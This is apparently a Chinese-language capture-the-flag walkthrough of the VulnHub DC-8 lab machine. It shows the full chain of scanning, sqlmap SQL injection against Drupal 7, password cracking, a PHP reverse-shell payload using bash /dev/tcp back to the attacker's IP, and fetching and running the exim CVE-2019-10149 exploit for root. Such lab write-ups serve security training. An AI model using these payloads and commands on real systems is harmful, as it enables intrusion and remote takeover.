vulnhub DC-8
信息搜集
探测局域网内存活主机
nmap -sP 192.168.19.128/24
发现主机192.168.19.135,扫描开放端口
nmap -p- 192.168.19.135
发现如下端口开放
22/tcp open ssh
80/tcp open http
访问80端口
渗透
我们使用火狐的wappalyzer(whatweb的替代品,图形化更清晰,但是功能没有whatweb强)查看网站信息

发现使用的是Drupal7 CMS框架
我们对这个Drupal7的结构不是很熟悉,使用dirsearch扫描一下目录
dirsearch -u http://192.168.19.135/
结果如下
200 33KB http://192.168.19.135/CHANGELOG.txt
200 769B http://192.168.19.135/COPYRIGHT.txt
200 1KB http://192.168.19.135/install.php
200 1KB http://192.168.19.135/install.php?profile=default
200 868B http://192.168.19.135/INSTALL.mysql.txt
200 842B http://192.168.19.135/INSTALL.pgsql.txt
200 6KB http://192.168.19.135/INSTALL.txt
200 7KB http://192.168.19.135/LICENSE.txt
200 2KB http://192.168.19.135/MAINTAINERS.txt
200 2KB http://192.168.19.135/node
200 2KB http://192.168.19.135/README.txt
200 744B http://192.168.19.135/robots.txt
200 129B http://192.168.19.135/sites/all/libraries/README.txt
200 545B http://192.168.19.135/sites/all/themes/README.txt
200 715B http://192.168.19.135/sites/all/modules/README.txt
200 431B http://192.168.19.135/sites/README.txt
200 0B http://192.168.19.135/sites/example.sites.php
200 3KB http://192.168.19.135/UPGRADE.txt
200 2KB http://192.168.19.135/user
200 2KB http://192.168.19.135/user/
200 2KB http://192.168.19.135/user/login/
200 177B http://192.168.19.135/views/ajax/autocomplete/user/a
200 2KB http://192.168.19.135/web.config
200 42B http://192.168.19.135/xmlrpc.php
我们访问/user/login路由,估计是登录页面.
在主页面存在一个可以的点,就是左边的Details栏.我们点击不同的,会发现上面绿色的打了对钩的栏中的内容会发生改变,然后url中nid的值也会改变.这可太抽象了,居然向后端传送了数据.

盲猜这个nid有sql注入.
我们使用sqlmap一扫,发现真有.得到了数据库名d7db,然后去爆表,发现有一个users表.然后去爆列,发现有name和pass这两个列.然后去爆具体的值,如下.

我们在cmd5网站爆破john的密码,发现为turtle
此时可以通过/user/login进行登录了.
在Webform->Settings->Formsettings中可以写入php马.这个Drupal自带了php扩展,安全性比较弱.
<?php @system("bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1'");?>

然后对content进行submit成功反弹shell(如果没有成功就重新挂载一个新的靶机去试就行)
提权
使用find命令查找SUID权限文件.SUID文件就是允许普通用户以文件所有者权限进行操作的权限.我们查找这个root用户的文件,有可能实现提权.
find / -typ f -perm -04000 -ls 2>/dev/null

我们发现存在一个exim4.这是一个邮件服务器,然而存在本地命令执行漏洞(cve-2019-10149)
在4.87-4.92的版本中存在这个漏洞,我们先来查看版本.
exim4 --version
发现版本为4.89,因此存在这个漏洞.同时注意到了一个问题,就是它叫exim,然后4是因为是4点几的版本.
我们在kali下搜索漏洞
searchsploit exim

我们发现存在一个4.87-4.91的Privilege Escalation,标号为46996.sh,我们查看路径,从而查看文件内容.
searchsploit 46996.sh -p
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
发现其中给出了脚本的使用方式:

一共有setuid和netcat两种使用方式.首先我们先把脚本拷贝一份,然后起一个httpserver
cp /usr/share/exploitdb/exploits/linux/local/46996.sh exp
python3 -v http.server
然而我们在靶机上远程获取文件的时候,发现没有写文件权限.切换到/tmp目录
wget http://192.168.19.128:8000/exp
成功将exp传输到了本地,修改文件权限并运行
chmod 777 exp
./exp -m netcat #setuid没好用,很奇怪
此时输入id查看用户分组:
uid=0(root) gid=113(Debian-exim) groups=113(Debian-exim)
切换到root home,读取flag.


浙公网安备 33010602011771号